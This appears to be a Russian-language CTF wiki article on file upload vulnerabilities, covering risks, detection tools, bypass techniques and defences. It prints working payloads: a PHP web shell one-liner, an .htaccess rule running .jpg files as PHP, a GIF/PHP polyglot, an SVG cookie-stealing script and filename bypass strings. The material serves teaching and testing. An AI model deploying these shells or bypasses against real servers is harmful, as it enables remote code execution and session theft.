Источник: https://github.com/AnaktaCTF/CTF/blob/main — WEB/File Upload Vulnerability.md
Что это за уязвимость
File Upload Vulnerability — это уязвимость, связанная с ненадёжной обработкой загружаемых пользователями файлов на стороне сервера. Эта уязвимость может позволить злоумышленнику:
- загрузить исполняемый файл (например, PHP web shell);
- выполнить удалённый код на сервере (RCE);
- получить обход аутентификации;
- перезаписать существующие файлы;
- использовать сервер как хранилище для вредоносного ПО или запрещённых файлов.
Почему она опасна
- Попадание на сервер shell-скрипта часто приводит к полной компрометации;
- Возможен доступ к облаку или базе данных;
- Используется в автоматизированных атаках (ботами);
- Может привести к утечке данных или дефейсу сайта.
Примеры атак
Пример 1: Взлом на базе uCoz
http://victim-site.com/uploads/myshell.php
Пример 2: Shell через .htaccess
.htaccess: AddType application/x-httpd-php .jpg
shell.jpg: <?php system($_GET['cmd']); ?>
Пример 3: Polyglot-файл (GIF + PHP)
GIF89a
<?php system($_GET['cmd']); ?>
Пример 4: SVG-инъекция
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
Пример 5: Перезапись .env через LFI + Upload
Загружаем payload.php → ?page=../../uploads/payload.php
Как искать уязвимость
Ручной подход
- Пробуем загрузить
.php,.jsp,.svg,.exe; - Меняем Content-Type в Burp Suite;
- Проверяем возможность обхода имени файла, MIME и доступа.
Инструменты
- Fuxploider
- Burp Suite Intruder
- WFuzz
- Nikto, Wapiti
- Dirsearch
Типы обходов защит
| Обход | Пример |
|---|---|
| Двойное расширение | shell.jpg.php |
| Null Byte | shell.php%00.jpg |
| Polyglot-файл | GIF89a + PHP |
| MIME Spoofing | Content-Type: image/jpeg |
| Base64 payload | SVG с встроенным кодом |
| ZIP Bomb / Slip | Архивы с ../shell.php |
Защита
- Белый список расширений;
- Проверка MIME и сигнатур;
- Переименование + хранение вне webroot;
- Запрет на выполнение скриптов;
- Лимит размера и обработка изображений.
Расширенные техники обхода
- Использование редких расширений:
.phtml,.phar - Подделка Content-Type: image/png
- Имя файла с символами:
%20,%09 - SVG и PDF с XSS и JavaScript
.htaccessдля смены интерпретатора- ZIP Slip атаки и символические ссылки
- PUT/PATCH обходы
- API с base64-инъекциями
Заключение
File Upload — одна из самых опасных уязвимостей. Один неправильный фильтр — и сервер под контролем атакующего.